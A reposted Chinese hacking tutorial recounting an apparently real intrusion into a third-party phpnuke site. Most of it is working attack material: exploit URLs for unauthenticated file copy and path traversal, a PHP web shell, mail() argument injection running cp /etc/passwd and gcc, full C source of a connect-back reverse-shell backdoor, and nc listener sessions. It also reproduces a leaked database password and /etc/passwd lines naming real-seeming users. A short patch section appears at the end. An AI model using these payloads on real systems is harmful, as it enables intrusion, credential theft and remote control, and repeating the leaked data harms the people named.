会员: 密码:  免费注册 | 忘记密码 | 会员登录 网页功能: 加入收藏 设为首页 网站搜索  
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
  · 杀毒专区
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
安全防线 > 黑客教学
san是怎么利用phpnuke的漏洞做坏事的:)
发表日期:2006-03-12 13:55:20作者:i 出处:安全焦点  

san是怎么利用phpnuke的漏洞做坏事的:)

by inburst@xfocus.org
http://xfocus.org

[写在前面]由于大家对san<san@xfocus.org>这外表忠厚的同志一直不太了解,总是被其貌似老实的样子所蒙蔽,本着对广大人民群众负责的态度,俺冒着被san敲诈晚饭之险,写下这篇文字,希望大家能够通过俺的牺牲,揭开san的画皮啊:)

一、phpnuke的漏洞

2001-9-24日的bugtraq里,有一则短短的twlc security divison,说明了phpnuke所有版本(除了5.0RC1)的admin.php文件中,存在一个文件上传的漏洞,因为没有对用户的身份进行验证,所以任何一个用户都可以借此拷贝机器上的任意文件到phpnuke或者phpnuke以外的任意一个有权限的目录。有问题的代码出在下面这段:

$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
  //^^^^^^
  //  +----------------->只是判断是否$upload=1,而没有做任何身份的验证
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
}

phpnuke是一个使用非常广泛的php程序,国内外有许多大的UNIX\GNU\Linux站点都是使用这套程序,而一般使用者都很少disable掉里面一些看起来非常强大,但实则容易出问题的函数。而且phpnuke做出来的页面,风格非常明显,易于辨认,所以san就找了一个国外站点试了试……

二、简单利用

很直接的利用方法就是,用下面的语句将phpnuke的配置文件config.php拷贝到phpnuke目录下的images/hacked.txt,如下:

http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt

这样通过在浏览器上输入:

http://www.server.net/images/hacked.txt,就可以看到config.php的内容了,当然包括里面的sql密码等敏感信息,比如下面就是该server的config.php片断:

-----------------snip--------------------------

######################################################################
# Database & System Config
#
# dbhost:   MySQL Database Hostname
# dbuname:  MySQL Username
# dbpass:   MySQL Password
# dbname:   MySQL Database Name
# system:   0 for Unix/Linux, 1 for Windows
######################################################################

$dbhost = "localhost";
$dbuname = "phpnuke";
$dbpass = "nukeitnow";
$dbname = "phpnuke_44";
$system = 0;

-----------------snip--------------------------

而且,通过这一漏洞,你甚至可以将文件复制到phpnuke以外的目录,比如(这是俺在自己机器上测试的:):

root@somehost:/tmp > ls -la
total 20
drwxrwxrwt   8 root     root         2048 Sep 25 13:37 .
drwxr-xr-x  19 root     root         2048 Feb 28  2001 ..
drwxrwxrwt   2 root     root         2048 Mar  6  2001 .X11-unix
-rw-r--r--   1 root     root          851 Sep 25 13:37 copyme.txt
....

在浏览器里输入以下url:

http://www.server.net/admin.php?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txt

root@somehost:/tmp > ls -la
total 20
drwxrwxrwt   8 root     root         2048 Sep 25 13:37 .
drwxr-xr-x  19 root     root         2048 Feb 28  2001 ..
drwxrwxrwt   2 root     root         2048 Mar  6  2001 .X11-unix
-rw-r--r--   1 root     root          851 Sep 25 13:37 copyme.txt
-rwxr-xr-x   1 wwwrun   wwwrun        851 Sep 25 13:37 hacked.txt
....

hacked.txt已经被顺利地复制到/tmp下面了。

通常这时候是先试试看passwd吧……但是当san希望通过指定不同的文件名,来将/etc/passwd文件拷贝到images目录下时,却发生了意外……:

输入如下url:

http://www.server.net/admin.php?upload=1&file=/etc/passwd&file_name=hacked.txt&wdir=/images/&userfile=/etc/passwd&userfile_name=hacked.txt

浏览器里返回的结果有这么一句话:

Warning: SAFE MODE Restriction in effect. The script whose uid is 180 is not allowed to access /etc/passwd owned by uid 0 in /home/htdocs/www-edu/admin.php on line 398

本来以为这样便将/etc/passwd文件复制到images/hacked.txt了,同样可以通过浏览器来看到它,但结果却是不让拷,实在有些扫兴,但这也越发激起了san的斗志……xixi。

三、文件上传

1、脚本文件

但是只能浏览一些敏感信息,xundi姐姐觉得不太满意,提出要能执行命令的要求,于是san只好再挖空心思……首先是写一个简单的php脚本,如果将它上载到服务器上,便可以利用该脚本执行命令了:

------------test1.php------------
<?php
echo"  
";  
system("$cmd");  
echo"  
";  
?>
------------test1.php------------

2、上载文件至phpnuke目录下

当执行完比如
http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt

这样的命令后,phpnuke返回的是filemanager的界面,这时我们就可以简单地选择在选择本地的文件后,选择upload把文件传到当前目录下(现在是images/下面),就这样,san把test1.php传上去了……

3、执行命令

在浏览器中输入http://www.server.net/images/test1.php?cmd=id,按照我们的构想,应该返回web server运行者的id号,但结果……

居然返回空白?

4、safe mod

原来是这台web server使用了php的safe mod来运行,下面的例子是从php的安全模式说明文件中摘出来的,比如我们希望在一台以safe mod运行的php web server上执行下面代码:

<?php
readfile('/etc/passwd');
?>  
  
结果浏览器会返回如下结果:

results in this error when Safe Mode is enabled: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2

这就是前面我们无法拷贝/etc/passwd的原因了,同样的,在安全模式下,system()调用等等也是被禁止的,我们只能够执行safe_mode_exec_dir里允许的可执行文件,所以,我们的test1.php在这里失去了用武之地……

四、突破限制

1、突破safe mod

先让我们看看san在他的一篇文章里写到的:

-------------------snip------------------------
2、mail函数的第五个参数
在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送
到我的信箱了。
这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的
基本功能,理解了就可以了。
对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改
php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:
extra_cmd=NULL
然后重新编译。
-------------------snip------------------------

通过这一原理,我们准备突破safe mod的限制了……先看看san写的test2.php

-----------------test2.php-------------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;cp /etc/passwd  /home/htdocs/www-edu/images/kk.txt", "-fwebmaster@;cp /etc/passwd  /home/htdocs/www-edu/images/kk.txt");
?>
-----------------test2.php-------------------------

将test2.php上传到web服务器上并执行后,我们从浏览器中看http://www.somesite.net/images/kk.txt,可以看到,我们已经可以拷贝/etc/passwd了,也就是说,已经突破了safe mod的限制了……下面便是passwd的片断:

-----------------snip--------------------------
kzentner:x:13657:13657:Kerstin Zentner:/home/users/kzentner:/bin/bash
ipoertsc:x:13658:13658:Isabella Poertschacher:/home/users/ipoertsc:/bin/bash
bmarzi:x:13659:13659:Brigitte Marzi:/home/users/bmarzi:/bin/bash
a2kogler:x:13660:13660:Angelika Kogler:/home/users/a2kogler:/bin/bash
dtschisc:x:13662:13662:David Tschische:/home/users/dtschisc:/bin/bash
m2egger:x:13663:13663:Martina Egger:/home/users/m2egger:/bin/bash
ssimoner:x:13664:13664:Susanne Simoner:/home/users/ssimoner:/bin/bash
sberling:x:13665:13665:Silvia elisabeth Berlinger:/home/users/sberling:/bin/bash
-----------------snip--------------------------

好了,那我们就来给自己创建一个shell吧,先是上传了一个普通的bindshell.c(就是创建一个socket而已),然后再传一个test3.php文件对bindshell进行编译:

------------------test3.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;gcc /home/htdocs/www-edu/images/bindshell.c -o bind", "webmaster@;gcc /home/htdocs/www-edu/images/bindshell.c -o bind");
?>
------------------test3.php-----------------------

test4.php文件用来运行这一绑定端口的程序bind,程序中定义了端口绑定于1234。

------------------test4.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;/home/htdocs/www-edu/images/bind", "webmaster@;/home/htdocs/www-edu/images/bind");
?>
------------------test4.php-----------------------

分别运行完test3.php和test4.php之后,我们在自己的机器上:

[san@redhat:/tmp]# nc www.somesite.net 1234
[san@redhat:/tmp]#

连接不上?想看看是否打开了端口,于是再上传一个test5.php看看netstat情况:

------------------test5.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;netstat -na >/home/htdocs/www-edu/images/netstat.txt", "webmaster@;netstat -na >/home/htdocs/www-edu/images/netstat.txt");
?>
------------------test5.php-----------------------

运行了test5.php之后,我们察看http://www.server.net/images/netstat.txt,发现结果是:

netstat -na
/proc/net/tcp: Permission denied
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State

居然权限不够,实在恼火,用同样的方法察看ps -awx情况后,发现进程正常运行,因此san估计可能是firewall将端口过滤了,所以决定……

2、突破firewall

从一大堆的代码里挑出这个connect-back的backdoor,代码很简单,如下:

/*
**
** Digit-Labs Connect-Back Backdoor - digit-labs.org
** <grazer@digit-labs.org> - (c) All rights reserved
**
** Use this backdoor to access machines behind
** firewalls.
**
** [step 1] -
** setup a listening port on your box e.g:
** >nc -l -p 4000
**
** [step 2] -
** Issue the following command:
** >./cbd <ip_of_listening_machine>
**
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

int fd, sock;
int port = 4000;
struct sockaddr_in addr;

char mesg[]  = "\n[ Digit-Labs Connect-Back Backdoor ]\n   \
* Connected to Commandline...\n";

char shell[] = "/bin/sh";

int main(int argc, char *argv[]) {

  while(argc < 2) {
    fprintf(stderr, "\n %s <ip> \n\n", argv[0]);
    exit(0);
  }

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(argv[1]);
  fd = socket(AF_INET, SOCK_STREAM, 0);
  connect(fd, (struct sockaddr*)&addr, sizeof(addr));

  send(fd, mesg, sizeof(mesg), 0);

  dup2(fd, 0);
  dup2(fd, 1);
  dup2(fd, 2);
  execl(shell, "in.telnetd", 0);

  close(fd);
  return 1;
}

用前面所述的方法,将back.c编译成back,在本地机器上起一个监听端口:

C:\temp\nc -l -vv -p 4000

然后再传上一个test6.php来运行back这个反向连接的程序(里面的*.*.*.*是san的IP地址):

-------------------test6.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;/home/htdocs/www-edu/images/back *.*.*.*", "webmaster@;/home/htdocs/www-edu/images/back *.*.*.*");
?>
-------------------test6.php-----------------------

运行test6.php后,我们前面开启的nc端口终于收到对方服务器发来的数据包:

C:\temp\nc -l -vv -p 4000
listening on [any] 4000 ...
connect to [*.*.*.*] from www.server.net [*.*.*.*] 2259

[ Digit-Labs Connect-Back Backdoor ]
   * Connected to Commandline...
id <-------------我们的权限
uid=180(aphttpd) gid=180(aphttpd) gropus=180(aphttpd),11(tmp)
w  <-------------谁在系统里
10:43am up 24 days, 14:41, 0 users, load average: 0.10, 0.14, 0.11
USER    TTY    FROM    LOGIN@    IDLE    JCPU    PCPU    WHAT
pwd<-------------当前目录是什么
/home/htdocs/www-edu/images
ps awx|grep sendmail <----------看看这个让我们进入系统的后门进程吧 :)
1773 ?    S    0:00 sh -c /usr/sbin/sendmail -t -i webmaster@;/home/htdocs/www-edu/images/back *.*.*.*

好了,到现在似乎这台服务器对san而言似乎已经失去更多的诱惑力了,毕竟已经上过了,xixi,这就是san啊:)

五、结束语

1、简单修补

由此可见,这个phpnuke的漏洞算是相当严重的,这里就不老调重弹地重复那些web编程的注意要点了,简单地修正这一漏洞,只需要把下面这句:

"if($upload) {"

改成:

"if (($upload) && ($admintest)) {"

就OK了,当然,如果你没有必要使用filemanager的话,把这一函数disable掉,或者不让启动webserver的用户(通常是nobody或者www)有权限修改web路径下的文件吧。

2、如果利用某些开放源代码的程序的话,一要做代码审核,二要禁止掉一些危险的函数。

3、web server的权限设置要搞好。(在9-25日时,绿色兵团也一样存在这个漏洞,当然,它web server设置得比较好,但也还是可以通过其它手段尝试绕过限制的)。

4、进行web攻击的时候,往往会遇到很多意外事件(比如这次遇到的safe mod),这时要尝试不同的方法和思路来突破……

六、参考资料

1、《twlc advisory: all versions of php nuke are vulnerable...》
2、《对PHP行攻击之狗尾续貂》by san@xfocus.org
3、PHP Manual: Safe Mode

返回顶部】 【打印本页】 【关闭窗口

关于我们 / 给我留言 / 版权举报 / 意见建议 / 网站编程QQ群   
Copyright ©2003- 2024 Lihuasoft.net webmaster(at)lihuasoft.net 加载时间 0.00145